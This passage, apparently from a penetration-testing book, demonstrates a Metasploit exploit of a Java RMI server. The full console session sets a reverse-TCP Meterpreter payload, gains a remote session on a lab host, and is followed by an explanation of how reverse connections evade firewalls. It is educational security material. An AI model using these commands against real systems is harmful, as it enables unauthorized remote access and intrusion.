What you end up with after the exploit has occurred is based on the payload, and that
can be set after you have selected which exploit you want to run. As an example of
running an exploit while
changing the payload in use, you can look at
Example 5-18
.
This exploit targets the Java Remote Method Invocation (RMI) server, which is used
to provide
interprocess communication, including across systems over a network.
Because we are exploiting a Java process, we’re going to use the Java implementation
of the Meterpreter payload.
Example 5-18. Using the Meterpreter payload
msf > use exploit/multi/misc/java_rmi_server
msf
exploit
(
multi/misc/java_rmi_server
)
>
set
payload java/meterpreter/reverse_tcp
payload
=
> java/meterpreter/reverse_tcp
msf exploit
(
multi/misc/java_rmi_server
)
>
set
RHOST 192.168.86.147
RHOST
=
> 192.168.86.147
msf exploit
(
multi/misc/java_rmi_server
)
>
set
LHOST 192.168.86.21
LHOST
=
> 192.168.86.21
msf exploit
(
multi/misc/java_rmi_server
)
> exploit
[
*
]
Exploit running as background job 0.
[
*
]
Started reverse TCP handler on 192.168.86.21:4444
msf exploit
(
multi/misc/java_rmi_server
)
>
[
*
]
192.168.86.147:1099 - Using URL:
http://0.0.0.0:8080/6XjLLZsheJ9
[
*
]
192.168.86.147:1099 - Local IP: http://192.168.86.21:8080/6XjLLZsheJ9
[
*
]
192.168.86.147:1099 - Server started.
[
*
]
192.168.86.147:1099 - Sending RMI Header...
[
*
]
192.168.86.147:1099 - Sending RMI Call...
[
*
]
192.168.86.147:1099
- Replied to request
for
payload JAR
[
*
]
Sending stage
(
53837
bytes
)
to 192.168.86.147
[
*
]
Meterpreter session
1
opened
(
192.168.86.21:4444 -> 192.168.86.147:36961
)
at
2018-01-24 21:13:26 -0700
You’ll see that in addition
to setting the remote host, I’ve set the local host (
LHOST
).
This is necessary for the payload. You may notice that the payload name includes
reverse_tcp
. This is because after the exploit, the payload runs and initiates a connec‐
tion back to the attacking system. This is why it’s
called
reverse
, because the connec‐
tion comes back to the attacker rather than the other way around. This is useful, if
not essential, because the reverse connection will get around firewalls that will usually
allow
connections outbound, especially if it happens over a well-known port. One of
the ports that is commonly used for these connections is 443. This is the SSL/TLS
port for encrypted web communications.
